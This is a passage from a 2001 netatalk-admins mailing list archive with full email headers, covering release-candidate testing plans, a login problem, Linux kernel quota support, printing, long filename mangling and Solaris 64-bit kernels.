  Main point of this meeting is to create a semi-stable tar-ball that
  compiles fine and works on all our supported platforms. See below for
  the platforms that netatalk will be tested on.

* Roadmap

  We should try to come up with a roadmap of what features should be
  in future versions of netatalk and should be concentrated on.

* Release Defaults

  We still have to agree on some of the default configuration with the
  new release. While it seems sensible to use the "last" DID scheme by
  default, we still have to discuss if we want to enable flock locks
  by default, and there may be further options that could be enabled
  by default.

* Discussion on release management

  There is still need to discuss the future release management. This concerns
  mainly the versioning scheme that should be employed in future (it was
  suggested to make this similar to the Linux kernel's versioning scheme)
  and the CVS branching and committing policies.

Testing Procedure
-----------------

The suggested testing procedure is as follows:

* I will create a first tar-ball out of the current semi-stable CVS tree.
  This should be downloaded by all testers and tried out.
* We will then collect all problems, try to come up with patches and I
  will integrate these patches into my local copy of netatalk and come
  up with another tar-ball.
* This will be repeated until compilation works for all tested platforms.
* Then I will check in all generated patches into CVS, set a tag and create
  release candidate 1.

Participants
------------

The following people are likely to participate in the meeting. Please note
that everybody is welcome, and no registration in advance is required.

* Joe Clarke <marcus@marcuscom.com>
  FreeBSD build
* Steve Freitas <sflist@ihonk.com>
  Mandrake (Linux) build
* Sebastian Rittau <srittau@debian.org>
  Debian GNU/Linux build
* Paul, Stew, Dallas(?)
  Solaris builds

If I forgot anybody (which is quite likely), please mail me so I can add you
to the list.


From netatalk.administrators-errors@umich.edu  Tue Nov 20 00:36:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA17067
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 00:36:53 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA05576
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 00:36:53 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA05571
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 00:36:52 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA05536
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 00:36:50 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fAK5ae504395
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 21:36:40 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 19 Nov 2001 21:36:40 -0800
Subject: Re: 1.5 release candidate needs volunteers
From: Steve Freitas <sflist@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B81F2BE7.99B2%sflist@ihonk.com>
In-Reply-To: <B81C1957.98EE%steve@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We've gotten enough Solaris volunteers. Thanks everybody!

Steve


From netatalk.administrators-errors@umich.edu  Tue Nov 20 04:07:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA24537
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 04:07:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA28105
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 04:07:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA28090
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 04:07:05 -0500 (EST)
Received: from smtp2.reach.net.sg (smtp2.reach.net.sg [202.79.127.165])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA28035
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 04:07:04 -0500 (EST)
Received: from yahoo.com ([203.162.55.3])
	by smtp2.reach.net.sg (8.9.3+Sun/8.9.1) with ESMTP id RAA24429
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 17:06:40 +0800 (SGT)
Message-ID: <3BFA1D68.8070609@yahoo.com>
Date: Tue, 20 Nov 2001 16:07:52 +0700
From: Di Tim Tien Nu <ditimtiennu@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Problem with authenticate password
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I have a MAC pc using OS X, and a Red Hat server 7.2
- In file atalkd.conf : there is a line
eth0 -phase 2 -net 0-65534 -addr 65280.118
- In file afpd.conf : there is a line
sharename -transall -port 12000

I'm using netatalk-1.4b2+asun2.1.4, I compiled it with -DSHADOW flag.
But Mac can browse my sharename, require enter user and password, but i 
can't log by username and password and can't log with guest user. 
Although i created user and password on my linux.
Can you help me ?

Thanks
Tony


From netatalk.administrators-errors@umich.edu  Tue Nov 20 07:40:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA03284
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 07:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA20313
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 07:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA20296
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 07:40:04 -0500 (EST)
Received: from rakete.joerdens.de ([62.8.194.74])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA20077
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 07:39:59 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id NAA07142;
	Tue, 20 Nov 2001 13:39:51 +0100
Date: Tue, 20 Nov 2001 13:39:51 +0100
From: Frank Joerdens <frank@joerdens.de>
To: Matthew Geier <matthew@arts.usyd.edu.au>
Cc: netatalk-admins@umich.edu, samba@samba.org
Subject: Re: quota support with Linux 2.4.x kernels
Message-ID: <20011120133951.C7064@rakete.joerdens.de>
References: <20011119233927.A4805@rakete.joerdens.de> <3BF99BC1.A4C99C95@arts.usyd.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <3BF99BC1.A4C99C95@arts.usyd.edu.au>; from matthew@arts.usyd.edu.au on Tue, Nov 20, 2001 at 10:54:41AM +1100
X-Subliminal-Message: Use Linux! Use Linux!

On Tue, Nov 20, 2001 at 10:54:41AM +1100, Matthew Geier wrote:
> Frank Joerdens wrote:
> > 
> > Greetings. I read in a samba list that the quota support is 'broken' in
> > so-called 'linus' kernels > 2.4.3 and that one is supposed to use a
> > redhat or 'cox' kernel (what the hell is that supposed to mean . . . are
> > we having different Linux kernle branches now??)
> 
>  In effect yes.
> 
>  The linus kernel and the Alan Cox kernel. Alan tests stuff and then
> linus puts it in his kernel. More or less. Only the AC kernels have a
> different VM and differen quota controls.
>  RedHat base their kernels off Alan Cox's tree.
> 
> > if quota is to work.
> > Does anyone know anything about this? All I know is that quota support
> > does not work anymore since I moved to 2.4, not with samba or netatalk
> > (I need both, really).
> 
>   Patch it your self ?. I run XFS on my server, and it uses yet another
> quota system as the 'standard' ones don't handle 64bit file systems. One
> of the XFS team patched samba. Samba is easy to fix, if you look at the
> quota code, its nicely split into different systems. The linux one has
> seperate functions that abstract the quota calls. It would be easy to
> fix.

Hmm. Do you happen to know if that applies to Reiser as well (i.e. does
the Cox kernel quota system work with Samba/Reiser without a patch or do
I need to also find a patch for Samba or use XFS instead of Reiser and
then use the XFS/Samba patch??)? If I understand you correctly, then I
would need to not only find a 2.4 kernel that has quota support (or
patch it myself), but find a filesystem/server combination that works
with the quota system that the kernel supports, which apparently becomes
rather tricky with modern filesystems and the current kernel generation
. . . ugh.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Tue Nov 20 09:21:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07371
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 09:21:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA20403
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 09:21:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20382
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 09:21:35 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA20261
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 09:21:31 -0500 (EST)
Received: (qmail 17457 invoked by alias); 20 Nov 2001 14:17:50 -0000
Received: (qmail 17445 invoked from network); 20 Nov 2001 14:17:50 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 20 Nov 2001 14:17:50 -0000
Subject: Re: quota support with Linux 2.4.x kernels
From: Matthew Keller <kellermg@potsdam.edu>
To: Frank Joerdens <frank@joerdens.de>
Cc: netatalk-admins@umich.edu
In-Reply-To: <20011119233927.A4805@rakete.joerdens.de>
References: <20011119233927.A4805@rakete.joerdens.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.1+cvs.2001.11.14.08.58 (Preview Release)
Date: 20 Nov 2001 09:21:31 -0500
Message-Id: <1006266091.12648.7.camel@comp10574>
Mime-Version: 1.0


	The kernel.org versions of the 2.4.3+ kernels have a newer/better quota
system that doesn't have quota tools written for it yet. So yes, use a
stock distro kernel or apply -ac patches.

On Mon, 2001-11-19 at 17:39, Frank Joerdens wrote:
> Greetings. I read in a samba list that the quota support is 'broken' in
> so-called 'linus' kernels > 2.4.3 and that one is supposed to use a
> redhat or 'cox' kernel (what the hell is that supposed to mean . . . are
> we having different Linux kernle branches now??) if quota is to work.
> Does anyone know anything about this? All I know is that quota support
> does not work anymore since I moved to 2.4, not with samba or netatalk
> (I need both, really).
> 
> Regards, Frank
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Nov 20 11:04:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12197
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 11:04:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA28915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 11:04:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA28896
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 11:04:34 -0500 (EST)
Received: from ultra.mpls.k12.mn.us (ultra.mpls.k12.mn.us [205.215.135.210])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA28806
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 11:04:30 -0500 (EST)
Received: from mpls.k12.mn.us (ultra.mpls.k12.mn.us [205.215.135.210])
 by ultra.mpls.k12.mn.us (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GN3004O9WNEDH@ultra.mpls.k12.mn.us> for
 netatalk-admins@umich.edu; Tue, 20 Nov 2001 10:04:26 -0600 (CST)
Received: from [205.215.177.146] by ultra.mpls.k12.mn.us (mshttpd); Tue,
 20 Nov 2001 10:04:26 -0600
Date: Tue, 20 Nov 2001 10:04:26 -0600
From: Nunu Vongsouvan <nunu.vongsouvan@mpls.k12.mn.us>
Subject: Netatalk Printing
To: netatalk-admins@umich.edu
Message-id: <2450a5247888.2478882450a5@mpls.k12.mn.us>
MIME-version: 1.0
X-Mailer: iPlanet Webmail
Content-type: text/plain; charset=us-ascii
Content-language: en
Content-transfer-encoding: 7BIT
Content-disposition: inline
X-Accept-Language: en

I use MacManager for a school that has about 60 iMacs.  The NEC 1800 
Printer's network card went down, (never buy an Nec1800 printer, piece of 
junk) and I started using a RedHat 7.0 box for a print server.  I am 
using an earlier version of Samba for the PC's to print to, it works 
great.  When the iMacs print to the redhat box, which also has netatalk 
1.4b2 installed, it prints word documents and other stuff, but won't 
print Internet web pages.  The printer flashes "Printing PCL" and no 
printout ever comes out.  Any ideas?



From netatalk.administrators-errors@umich.edu  Tue Nov 20 11:25:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13402
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 11:25:05 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 11:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02366
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 11:25:02 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02306
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 11:25:01 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Tue, 20 Nov 2001 11:24:57 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f0510030fb820332273ed@[192.168.42.39]>
In-Reply-To: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
References: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
Date: Tue, 20 Nov 2001 11:24:57 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: any progress on long filenames?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"


>A simple Perl script could be written to search for files with names over
>32 chars, and truncate the names according to an appropriate algorithm
>(preserve extension etc.).
>
>You could then run that script manually or from a cron job.

that's all well and good, and i see from other messages that there is already such a script out there, but that's just not sufficient in an environment where the netatalk server is being used as the go-between for transferring files between platforms.

what is really ideal would be for a classic mac client to see a name mangled, but an OS X client would see the full name, and the file on the server could remain untouched.

as long as it's on the list of to-do's, i'm happy, and i'll keep my fingers crossed that "transparent long filename mangling" makes its way into a release soon.

From netatalk.administrators-errors@umich.edu  Tue Nov 20 11:25:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 11:25:05 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02444
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 11:25:05 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02365
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 11:25:02 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02305
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 11:25:01 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Tue, 20 Nov 2001 11:24:57 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f0510030fb820332273ed@[192.168.42.39]>
In-Reply-To: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
References: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
Date: Tue, 20 Nov 2001 11:24:57 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: any progress on long filenames?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"


>A simple Perl script could be written to search for files with names over
>32 chars, and truncate the names according to an appropriate algorithm
>(preserve extension etc.).
>
>You could then run that script manually or from a cron job.

that's all well and good, and i see from other messages that there is already such a script out there, but that's just not sufficient in an environment where the netatalk server is being used as the go-between for transferring files between platforms.

what is really ideal would be for a classic mac client to see a name mangled, but an OS X client would see the full name, and the file on the server could remain untouched.

as long as it's on the list of to-do's, i'm happy, and i'll keep my fingers crossed that "transparent long filename mangling" makes its way into a release soon.

From netatalk.administrators-errors@umich.edu  Tue Nov 20 12:48:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18386
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 12:48:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA07337
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 12:48:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA07322
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 12:48:46 -0500 (EST)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA07288
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 12:48:45 -0500 (EST)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.1 #40111)
 id <0GN400H011GREF@asu.edu> for netatalk-admins@umich.edu; Tue,
 20 Nov 2001 10:48:27 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.110.107])
 by asu.edu (PMDF V6.1 #40111) with ESMTP id <0GN400H8N1GR5E@asu.edu> for
 netatalk-admins@umich.edu; Tue, 20 Nov 2001 10:48:27 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.11.0/8.11.0/asu_smtp_relay,nullclient,tcp_wrapped)
 with ESMTP id fAKHmQO24136	for <netatalk-admins@umich.edu>; Tue,
 20 Nov 2001 10:48:26 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id KAA27854	for netatalk-admins@umich.edu; Tue,
 20 Nov 2001 10:48:23 -0700 (MST)
Date: Tue, 20 Nov 2001 10:48:23 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: Re: [Fwd: [Fwd: Solaris 8 and DDP]]
To: netatalk-admins@umich.edu
Message-id: <200111201748.KAA27854@east.la.asu.edu>
X-Sun-Charset: US-ASCII

The installer may detect the "width" of your architecture, but it will
happily install the 64-bit modules if you select 64-bit mode irregardless. So,
you can choose 64-bit mode, but every time you boot it'll give you a message
that its dropping down to 32-bit mode if your system is a 32-bit system. I
don't know if there are any implications to this, but I doubt it since it'll be
using the 32-bit modules.

BTW, some older ultraSPARC systems are 32-bit systems if memory serves. I think
the 147Mhz Ultra-1 is for instance.

Ed Maple

> During installation of Solaris 8 for SPARC, you are given a choice of a 64-bit or 32-bit
> kernel, and 64-bit is the default selection. I don't remember what happens on older
> machines that aren't 64-bit capable... I think the installer actually notices this and
> says something about it.

From netatalk.administrators-errors@umich.edu  Tue Nov 20 18:02:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA04477
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 18:02:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA02650
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 18:02:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA02642
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 18:02:56 -0500 (EST)
Received: from mta05.mail.mel.aone.net.au (mta05.mail.au.uu.net [203.2.192.85])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA02589
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 18:02:53 -0500 (EST)
Received: from faxserver ([63.34.210.187]) by mta05.mail.mel.aone.net.au
          with ESMTP
          id <20011120230236.FSTI5228.mta05.mail.mel.aone.net.au@faxserver>;
          Wed, 21 Nov 2001 10:02:36 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 166Jok-0007yO-00; Wed, 21 Nov 2001 09:56:38 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 21 Nov 2001 09:56:33 +1100
Subject: Re: Netatalk Printing
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Nunu Vongsouvan <nunu.vongsouvan@mpls.k12.mn.us>,
        <netatalk-admins@umich.edu>
Message-ID: <B8212AD1.2E67%editor.ac@churchesofchrist.org.au>
In-Reply-To: <2450a5247888.2478882450a5@mpls.k12.mn.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Can you print html using lpr on the redhat box? I assume you're piping to
lpr using netatalk and using the LaserWriter driver on the Mac ... I found
that setting up my printers on the Mac using the LaserWriter driver that I
had the best results in ASCII mode, not binary.

I'm using this setup to drive both a postscript and non-postscript printer
(a Seiko-Epson label printer).

HTH
Nigel.

> From: Nunu Vongsouvan <nunu.vongsouvan@mpls.k12.mn.us>
> Date: Tue, 20 Nov 2001 10:04:26 -0600
> To: netatalk-admins@umich.edu
> Subject: Netatalk Printing
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 20 Nov 2001 11:14:11 -0500 (EST)
> 
> When the iMacs print to the redhat box, which also has netatalk
> 1.4b2 installed, it prints word documents and other stuff, but won't
> print Internet web pages.  The printer flashes "Printing PCL" and no
> printout ever comes out.  Any ideas?


From netatalk.administrators-errors@umich.edu  Tue Nov 20 19:01:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07267
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 19:01:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA17206
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 19:01:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA17184
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 19:01:03 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA17141
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 19:01:02 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id BAA01658;
	Wed, 21 Nov 2001 01:22:56 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 21 Nov 2001 01:00:57 +0100
Subject: Re: any progress on long filenames?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B820AD48.14E13%Thomas.Kaiser@phg-online.de>
In-Reply-To: <f0510030fb820332273ed@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 20.11.2001 17:24 Uhr schrieb Charles Mangin:

> what is really ideal would be for a classic mac client to see a name mangled,
> but an OS X client would see the full name, and the file on the server could
> remain untouched.

That's why this idea found its way into the AFP 3.0 specs already. 'Name
mangling' will be an essential part of an AFP 3.0 compliant fileserver (you
might want to look into the specs -- url has been posted here). But I don't
think there is enough manpower to implement this feature alone instead of as
part of porting AFP 3.0 to netatalk.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 20 21:58:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA13627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 21:58:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA27406
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 21:58:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA27387
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 21:58:39 -0500 (EST)
Received: from mailgate1.sover.net (mailgate1.sover.net [209.198.87.60])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA27345
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 21:58:38 -0500 (EST)
Received: from rickbragg.net (arc1a299.bf.sover.net [209.198.116.109])
	by mailgate1.sover.net (8.11.6/8.11.6) with ESMTP id fAL2wbq01081
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 21:58:37 -0500 (EST)
Message-ID: <3BFB185C.1000406@rickbragg.net>
Date: Tue, 20 Nov 2001 21:58:36 -0500
From: Rick Bragg <rbragg@rickbragg.net>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4) Gecko/20011022 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: remove
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

remove


From netatalk.administrators-errors@umich.edu  Tue Nov 20 22:29:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA14723
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Nov 2001 22:29:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA13435
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Nov 2001 22:29:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA13423
	for netatalk.administrators-members@umich.edu; Tue, 20 Nov 2001 22:29:15 -0500 (EST)
Received: from mailgate1.sover.net (mailgate1.sover.net [209.198.87.60])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA13380
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 22:29:13 -0500 (EST)
Received: from rickbragg.net (arc1a299.bf.sover.net [209.198.116.109])
	by mailgate1.sover.net (8.11.6/8.11.6) with ESMTP id fAL3TCE17508
